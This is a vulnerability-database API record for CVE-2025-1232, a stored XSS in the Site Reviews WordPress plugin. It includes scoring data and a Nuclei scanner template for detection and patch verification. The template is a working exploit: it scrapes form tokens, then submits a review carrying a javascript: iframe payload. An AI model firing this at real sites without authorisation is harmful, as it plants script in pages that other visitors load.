{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-1232/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-1232/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-1232/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-1232/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-1232/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-1232/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2025-1232"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2025-1232"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.01931,"kev":false,"percentile":0.80015},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-1232.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2025-1232\n\ninfo:\n  name: Site Reviews < 7.2.5 - Unauthenticated Stored XSS\n  author: 0x_Akoko\n  severity: high\n  description: |\n    Site Reviews WordPress plugin before 7.2.5 contains a stored cross-site scripting caused by improper sanitization and escaping of review fields, letting unauthenticated users execute malicious scripts, exploit requires no authentication.\n  impact: |\n    Unauthenticated users can execute malicious scripts in the context of site visitors, potentially leading to session hijacking or defacement.\n  remediation: |\n    Update to version 7.2.5 or later.\n  reference:\n    - https://wpscan.com/vulnerability/c4ea8357-ddd7-48ac-80c9-15b924715b14/\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-1232\n    - https://research.cleantalk.org/cve-2025-1232/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2025-1232\n    epss-score: 0.01931\n    epss-percentile: 0.80076\n    cwe-id: CWE-79\n    cpe: cpe:2.3:a:geminilabs:site-reviews:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: geminilabs\n    product: site-reviews\n    shodan-query: http.component:\"WordPress\"\n    fofa-query: body=\"site-reviews\" || body=\"glsr-form\"\n  tags: cve,cve2025,wordpress,wp,wp-plugin,site-reviews,xss,stored,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-json/wp/v2/pages?per_page=100\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(body, 'glsr-form-wrap')\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: honeypot\n        group: 1\n        regex:\n          - 'display:none[\\s\\S]{0,500}?name=\\\\\"site-reviews\\[([a-f0-9]{8})\\]\\\\\"'\n        internal: true\n\n      - type: regex\n        name: post_id\n        group: 1\n        regex:\n          - 'name=\\\\\"site-reviews\\[_post_id\\]\\\\\"[\\s\\S]{0,5}?value=\\\\\"([^\\\\\"]*)\\\\\"'\n        internal: true\n\n      - type: regex\n        name: form_id\n        group: 1\n        regex:\n          - 'name=\\\\\"site-reviews\\[form_id\\]\\\\\"[\\s\\S]{0,5}?value=\\\\\"([^\\\\\"]*)\\\\\"'\n        internal: true\n\n      - type: regex\n        name: terms_exist\n        group: 1\n        regex:\n          - 'name=\\\\\"site-reviews\\[terms_exist\\]\\\\\"[\\s\\S]{0,5}?value=\\\\\"([^\\\\\"]*)\\\\\"'\n        internal: true\n\n      - type: regex\n        name: nonce\n        group: 1\n        regex:\n          - 'name=\\\\\"site-reviews\\[_nonce\\]\\\\\"[\\s\\S]{0,5}?value=\\\\\"([^\\\\\"]*)\\\\\"'\n        internal: true\n\n      - type: regex\n        name: form_signature\n        group: 1\n        regex:\n          - 'name=\\\\\"site-reviews\\[form_signature\\]\\\\\"[\\s\\S]{0,5}?value=\\\\\"([^\\\\\"]*)\\\\\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-Requested-With: XMLHttpRequest\n\n        action=glsr_public_action&_ajax_request=true&site-reviews%5B_action%5D=submit-review&site-reviews%5B_nonce%5D={{nonce}}&site-reviews%5B_post_id%5D={{post_id}}&site-reviews%5B_referer%5D=&site-reviews%5Bassigned_posts%5D=&site-reviews%5Bassigned_terms%5D=&site-reviews%5Bassigned_users%5D=&site-reviews%5Bexcluded%5D=&site-reviews%5Bform_id%5D={{form_id}}&site-reviews%5Bterms_exist%5D={{terms_exist}}&site-reviews%5Bform_signature%5D={{form_signature}}&site-reviews%5B{{honeypot}}%5D=&site-reviews%5Brating%5D=5&site-reviews%5Btitle%5D=Great+Service&site-reviews%5Bcontent%5D=%26amp%3Bamp%3Bamp%3Bamp%3Bamp%3Bamp%3Bamp%3Bamp%3Blt%3Biframe+src%3Djavascript%3Aalert%28document.domain%29%26amp%3Bamp%3Bamp%3Bamp%3Bamp%3Bamp%3Bamp%3Bamp%3Bgt%3B&site-reviews%5Bname%5D=TestReviewer&site-reviews%5Bemail%5D=reviewer%40example.com&site-reviews%5Bterms%5D=1\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"success\":true'\n          - 'javascript:alert(document.domain)'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022006d221e9be997706326f1056b58823312996d8166715c34b267e96defaab6e4a022100d7af629687fba643518d508f6edc4e56e10c00212481f457688b03074c07b3df:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-1232"}